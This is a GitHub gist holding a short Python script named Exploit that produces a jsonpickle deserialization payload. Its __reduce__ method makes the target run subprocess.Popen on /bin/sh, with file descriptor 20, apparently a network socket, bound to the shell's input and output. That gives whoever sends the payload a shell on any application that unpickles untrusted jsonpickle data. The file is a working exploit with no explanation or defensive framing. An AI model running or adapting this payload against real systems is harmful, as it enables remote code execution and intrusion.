Created
January 7, 2015 09:28
-
-
Save oberstet/3723147344967b9794c0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import jsonpickle | |
import subprocess | |
import base64 | |
class Exploit(object): | |
def __reduce__(self): | |
fd = 20 | |
return (subprocess.Popen, | |
(('/bin/sh',), # args | |
0, # bufsize | |
None, # executable | |
fd, fd, fd # std{in,out,err} | |
)) | |
print jsonpickle.encode(Exploit()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment